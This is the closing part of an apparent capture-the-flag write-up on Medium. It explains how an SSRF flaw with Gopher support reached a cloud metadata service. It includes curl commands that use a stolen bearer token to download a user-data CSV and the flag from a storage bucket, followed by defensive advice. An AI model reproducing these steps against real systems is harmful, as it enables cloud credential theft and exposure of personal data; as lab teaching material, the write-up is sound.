curl -H "Authorization: Bearer ya29.c.c0ASRK0GYV8x92oeT_sRmq3iAvWbcHMJ3d07IOX6PS7rgk877lk0IWjx68gxhcwIgXecCgHHobCSbNtkTcqo2NT4Vv7xPlObyYBU87df4SRJm9exfscXcdxwlwkF92U7mlLZLRMHsiHoCP1b9E5sHPENcL2aLb7YDCt5yxZuWD2oTiTy7BaZvJBmvjulncHURlv3fOWM3G0iXW3fAmKrFOjeq5IgSKyMXYsBmQFpmhvZhP41tTs-Jk7EEFg2YSMRnPzJZYTG5iRPsZ8dkPkwe3iTTs6xhUTEvwuREJycqYwPp1Wm1Y6ihH__632eJKnex2kcgbmEJ_rJsh48Ok8FD-Q3R4ukIacDRB-AtJ8VqtzUcx1IS2_NuFvjCyXM8NRj5os-wK67PldpbP38u2T409Pyhpo8RsvfoX8r8US-wfM4YUreXQm074XjVaX2Mkyrqc34qs7J9t5F10-k-Jm0MJ-W2ZfYUBg7sc5aMtx3Q49zklSOXa_hJJsqsp8dcoUl3fcihIR43hrpZ3jFc330X1Ior31idpgQRcc2hw-3Uv2ws9gY4ZdbVbQrdUjXxzs9Qmnk08Rjh22JBSqooV4sZBceIadbjwQO5n2W95Fsq4VVorpOaiiOhZe_pMg3-rk5t-ZfVXkfdfv6VYdbn8WFy6rIFicMgu--peifUbtpeOn9kzsvXfijOj7kuwl9bRQ_uWSyOhVjspifa38R6h_9-eJF-WVoiR1yV8yz_Uvdifp5bO0lpVnI_bijaFv9kSjk2oI6QYqu9t0n6Y32l32ws4mscbpJvJSp56O-8rFu31nwk4QJi7Oq5UObyF36hJjy-ie5ca_dWwrd0aBhbkufW1eInJgBzOQgdWie_cw4jke3aSxrjhQ46MhJbWzQekOiVqY1__vJynipfsvXZd4Utz_bZOWte3I6v2WJBdqBaYfbs6_9aMqSQgYh5ssen3cWqzzt8yWIO5OfJ3O6_xisud_49yXRhyokl5o-psUMx3oxBhMURvnY9OqjX" \
"https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media" -o user_data.csv
PII Exposure

Defense

An SSRF vulnerability in the profile.php page allowed us to force the web server into making unintended GET requests. The presence of Gopher support enabled us to bypass certain restrictions and include the necessary header for accessing the internal metadata service. To prevent such issues, it's essential to review and limit the protocols supported by libraries used in the application.

Additionally, the risk was exacerbated by the presence of unencrypted PII in the same storage bucket used for hosting web files. This underscores the importance of segregating data based on classification and sensitivity to avoid unintended exposure. Sensitive information should always be stored securely and separately from public assets.

To further enhance security, access to the metadata server can be restricted by removing service account permissions from the VM instance. Choosing the “No service account” option is a viable measure for applications that do not require access to other Google Cloud services, significantly reducing the attack surface and potential impact of a compromised VM.

And finally, we discovered the flag! The object metadata confirms the presence of flag.txt within the gigantic-retail bucket. The selfLink provides direct access to the storage API, while the mediaLink allows us to download the flag. This marks the successful conclusion of our exploitation, demonstrating the risks associated with misconfigured cloud storage and SSRF vulnerabilities. 🎯

 {
"kind": "storage#object",
"id": "gigantic-retail/userdata/flag.txt/1703771329072518",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media",
"name": "userdata/flag.txt",
"bucket": "gigantic-retail",
"generation": "1703771329072518",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "33",
"md5Hash": "J+PDkjepBufLwKoiCflv2w==",
"crc32c": "/H+7+Q==",
"etag": "CIab5OaisoMDEAE=",
"timeCreated": "2023-12-28T13:48:49.125Z",
"updated": "2023-12-28T13:48:49.125Z",
"timeStorageClassUpdated": "2023-12-28T13:48:49.125Z",
"timeFinalized": "2023-12-28T13:48:49.125Z"
},
┌──(kali㉿kali)-[~]
└─$ curl -H "Authorization: Bearer $YOUR_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media"

9cee2dec5c28e0470XXXXXXXXXXXXXXX

And finally, we retrieve the flag! 🎉

I hope you enjoyed this writeup! Happy Hacking :)

Subscribe to me on Medium and be sure to turn on email notifications so you never miss out on my latest walkthroughs, write-ups, and other informative posts.

Follow me on below Social Media:

  1. LinkedIn: Reju Kole

2. Instagram: reju.kole.9

3. Respect me On HackTheBox! : Hack The Box :: User Profile

4. Check My TryHackMe Profile : TryHackMe | W40X

5. Twitter | X : @Mr_W40X

6. GitHub : W40X | Reju Kole | Security Researcher

incase you need any help feel free to message me on my social media handles.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Reju Kole

Top 1% at TryHackMe Global / CompTIA PenTest+ / HTB | GURU / CVE-2022-33891 / eJPTv2 / ICCA / CompTIA Security+ (SYO-601) / CompTIA CASP+ (CAS-004)

No responses yet

Write a response